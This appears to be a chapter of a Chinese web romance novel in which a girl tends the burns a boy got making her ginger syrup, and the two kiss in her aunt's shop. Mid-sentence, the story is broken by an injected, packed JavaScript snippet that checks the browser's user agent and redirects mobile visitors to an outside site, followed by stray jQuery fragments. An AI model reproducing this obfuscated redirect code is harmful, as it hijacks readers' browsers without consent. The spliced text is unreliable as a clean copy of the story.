不知道是谢栩年家里真的有事,还是他刻意给蒋乐桃恢复的时间,总之,在蒋乐桃生理期这几天,她都没再见过谢栩年。
谢栩年也没再像之前那样,时不时给她发消息,让她下去找他。
他在蒋乐桃的生活里,悄无声息地消失了几天,这让蒋乐桃紧绷的神经松缓下来,生理期剩下的几天也不再像之前那样难受。
大姨妈彻底离开的那一天晚上,蒋乐桃赶紧洗了个澡,把这几天发烧身上出的汗全冲了个干干净净,整个人也焕然一新。
第二天一早,她跟着蒋青容去了小卖铺里干活。
早上的时候来买的东西的人并不多,蒋乐桃帮着姑姑理了理货,就坐在了收银台前。蒋青容闲着的时候总喜欢坐在超市门口和周围的商铺老板闲谈唠嗑,只有蒋乐桃老老实实地坐在店里,等着客人来。
左右时候还早,也不忙,蒋乐桃从自己带来的包里抽出一本书来。
没人的时候,她喜欢一个人静静地看书,中国文学、外国文学都喜欢。最近,她在品读外国的一部经典名作《傲慢与偏见》。
这本小说她很早就听说过,但高中时期忙着刷题、忙着冲刺,蒋乐桃从没空出时间阅读过。如今这个大学开学前的暑假,正好给了她时间。
阅读刚开了个头,超市门口被打开,有人来买东西。
“拿袋盐。”
蒋乐桃放下书,转身去货架上给客人拿:“一块五,扫码还是现金?”
“扫码。”
“嘀”一声,交易完成。
后面又陆陆续续来了几个小孩,有买糖的,有要薯片的,蒋乐桃一一算好账,等终于送走最后一个孩子,一转头,自己放在收银台一边的书不见了踪影。
“‘Bingley was sure of being liked wherever he appeared, but Darcy was continually giving offence.’”(宾利无论走到哪里都一定会讨人喜欢,而达西却总是惹人不快。)
纯正自然的英语发音,声音低缓,带着点漫不经心的劲儿,却更加抓耳。
谢栩年屈腿靠在收银台一侧,手里握着蒋乐桃的那本英汉双语的《傲慢与偏见》,正侧头看她,眸色淡淡。
“宾利温和却容易退缩,达西傲慢却对认定了的人执着坚守。我喜欢达西,你喜欢谁?”
语气轻描淡写又仿佛意有所指。
蒋乐桃没回答他的问题,只定定看着他精致清冷的眉眼。
几天没见,他的头发变长了些,稍显凌乱地扑散在额前,浓眉下的墨眸一如既往的冷淡又锐利。
此刻,他抬眉专注地看着蒋乐桃,锐利少了些,露出几分少见的温和。
视线不知不觉间在谢栩年的脸上停留久了,直到看到他微挑的眉梢才恍然回神。
脑子里迅速回想起他刚刚的那个问题,略一低眸,她轻声:“我还没有看完。”
蒋乐桃将刚刚收到的几张零钱放进收银机的钱箱里,接着道:“不过喜欢达西的人一直都有很多,就算少我一个应该也没什么。”
声音是温和的,就连表达的想法也委婉。
谢栩年无声看了她片刻,接着垂眼,很随意地换了话题,似乎也并不怎么在乎蒋乐桃的答案:“这几天好点了?”
蒋乐桃答:“嗯。”
话落,又逐渐升起警惕。
一次不舒服换来了短暂的消停,可如今,难道又要开始了吗?
想起上次混乱糟糕的场景,她心头生出抗拒。
但谢栩年并没有说蒋乐桃担心的那些话,而是拿起几个刚才离开的小孩子们挑了却又放下的几包零食吃的,抬头问她:“这些放到哪儿?”
蒋乐桃微愣,抬手指了一个方向。
谢栩年拿着转身就走。怕他放错,再加上蒋乐桃实在不怎么敢使唤谢栩年做事,她亦步亦趋地跟了上去。
“你给我吧……我来就行。”
零食饮料专柜在小卖铺最里面最角落的位置,旁边挨着日用品区,过道里不算特别宽敞。
谢栩年几步就来到了货架前,把手里的东西分别放到它该放的位置,时不时低声询问:“是放到这里吗?”
蒋乐桃站在他旁边:“对,放这儿。那个,放那里。”
有一包薯片要放在货柜的最上面,谢栩年抬手,无意中露出他的小臂内侧。蒋乐桃的目光在他胳膊上一划而过,然后猛地顿住。
“你这里怎么了?”
在谢栩年冷白结实的小臂上,两三块红灼的、不规则的伤口在那里散布着格外明显,应该是新伤,还没结痂,周围的破皮卷曲着,带着血水。
她吓了一跳,下意识拉住谢栩年的胳膊不让他再动,自己细细察看,语气焦急:“流血了,你都不疼吗?”
她说着就拉住谢栩年要往前台走,那里有蒋青容备在超市的医药箱,但谢栩年没动。
“你……”
蒋乐桃见他不配合,焦急地回头要催他,话还没说完突然被人猛地抱住。
谢栩年的怀抱总是很宽厚,抱着她时能把她的整个骨架都嵌进怀里,像是二人本就一体。
“别动。”
他沉缓的声音自肩侧响起,蒋乐桃本能听从。
谢栩年细细感受着怀里柔软温热的触感,埋头在女孩颈窝里蹭了蹭。
“蒋乐桃,我疼,我好疼的。”
闷闷的声音,像是受了天大的委屈,难得的脆弱。
他从未这样过,蒋乐桃的心一下子就软了下去:“那你放开我啊,我给你上药。”
谢栩年却摇头,十八九岁的男生此刻像个寻求依赖的脆弱小兽一样,紧紧抱着她不肯松手。
“你亲亲我。”他说,“你亲我,我就不疼了。”
蒋乐桃一顿,脸刷地红了。
“胡说八道。”
她左右挣动着想推开他,却被谢栩年束缚得更紧,大有一副不亲他就不松手的架势。
蒋乐桃没法,只得低声哄他:“那你放开我。”
说到最后几个字,声音轻得像是从喉咙缝里挤出来的一样:“放开,我就亲。”
谢栩年果真在下一秒放开。
蒋乐桃脸红红的,手脚也有些不听使唤。她颤颤踮脚,在谢栩年侧脸上落下蜻蜓点水般的一个吻。
男生却不满足地眯了眯眼,微一侧脸,捕获住她想逃离的唇。
是很温柔的吻,只轻轻吮吻了几下唇瓣。
到底不敢在外面胡来。
唇瓣分开,蒋乐桃想起小卖铺门口的姑姑,又想起开着的门,脸色一下子变得慌张。
抬眼正要说什么,谢栩年先一步看穿她,低声开口:“没事的。姑姑刚才在我进来的时候去隔壁店里串门了,门口也没进人。”
蒋乐桃这才放下心来,但还是止不住的后怕。
她退后一步,和谢栩年拉开些距离:“走吧,我给你上药。”
这次,谢栩年听话地动了。
两个人一起坐在收银台后面,蒋乐桃拿着蘸过碘伏的棉签,小心地擦去谢栩年胳膊上的血水。
谢栩年是冷白皮,身上也干净得没有一点疤或者什么斑痕,也正因为这样,一旦身上有伤口,就会格外明显。
“到底是怎么弄成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196337|197132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这样的?”蒋乐桃皱巴着脸,眉心也蹙到一起,忍不住问,“你做什么了?”
伤口一共三处,圆圆的,周围有散皮,像是烫伤。
一个模模糊糊的猜测从她的脑海里冒出来。
谢栩年刚才还抱着蒋乐桃可怜巴巴地喊疼,这会儿要上药了却成了一副没事人的样子,神情淡定自若,没一点疼痛害怕的样子。
“被烫了一下。”谢栩年满不在乎道,“没什么。”
蒋乐桃一听抿住唇,不说话了。
她沉默又安静地给谢栩年上药,等把纱布盖到伤口上贴好时,才又一次开口:“是因为给我熬姜糖水吗?”
谢栩年撇过脸,神色稍不自然:“不是。”
“骗人!”
蒋乐桃骂他,“你这个骗子。”
话说得狠,眼泪却一颗颗落了下来。
谢栩年一愣,下一秒有些惊讶地抬眉。
他从柜台上抽一张纸给蒋乐桃擦泪,语气无奈好笑:“你哭什么啊。”
蒋乐桃红着眼看他,却还在逼问:“是不是给我熬糖水烫的?”
谢栩年见瞒不过了,只好承认:“一开始只是起了几个小泡,后面不小心磨破了。”
蒋乐桃就知道是这样。
她气谢栩年骗她,心里或许还有些心疼,眼尾红成一片,眼泪啪嗒啪嗒像珍珠似的不停掉,哭着语不成句:“我没、没让你给我熬、熬糖水。”
也没想让你为我受伤。
谢栩年却点头:“是我自愿的。”
“可我、我该怎么还你?”
谢栩年安静地看她:“谁说要你还了?”
蒋乐桃颤着声音:“我说的,我要还你。”
“那我说不用还。”
“不行。”她抽噎着摇头,“要还的。”
手链、糖水,欠他的她都要还的。
谢栩年:“那你要怎么还?”
“我、我不知道。”
听着这句话,男生轻轻笑了起来,往日清冷的眉眼染上不明显的暖意。他朝她俯身凑近,低声哄:“那就亲亲我吧,就当还我了。”
蒋乐桃一顿,带着哭音也很快拒绝:“我不要。”
谢栩年心情好,此刻也格外好说话:“我亲你也行。”
她反应更大:“那、那还不如我亲你呢。”
“行。”谢栩年抓紧机会,一锤定音,“那就你亲我。”
迷迷糊糊就被上了套。
蒋乐桃不哭了,心里慢慢气恼起来。
她抿起嘴,不再出声。
谢栩年饶有兴致地看着她,突然,目光落在她洁白纤细的手腕,出声:“手链呢?”
谢栩年问:“怎么没戴?”
蒋乐桃一愣,想起那条已经被她扔进抽屉里很多天的东西。
“怕丢。”
她低下眸,轻声道。
也怕被人看到,问她手链的来源。
“我收起来了。”
谢栩年眉微微一低,转而明白些什么,眼眸微深。
下颌轻点,他没再多说:“好。”
“它是你的,由你决定戴或不戴。”
蒋乐桃轻轻点头。
给谢栩年上好药,他没再多待,在蒋青容回店里之前先行离开。
之后,他又来找过蒋乐桃几次,有时也让蒋乐桃来找他。或者单元楼楼顶,或小卖铺里无人的后仓,二人又开始像以前一样接吻,而谢栩年也恢复了正常,再没像那天的接吻那样,恶劣过分过。
慢慢地,蒋乐桃又开始一步又一步妥协。
就先这样吧。
反正只剩下这么最后几天了。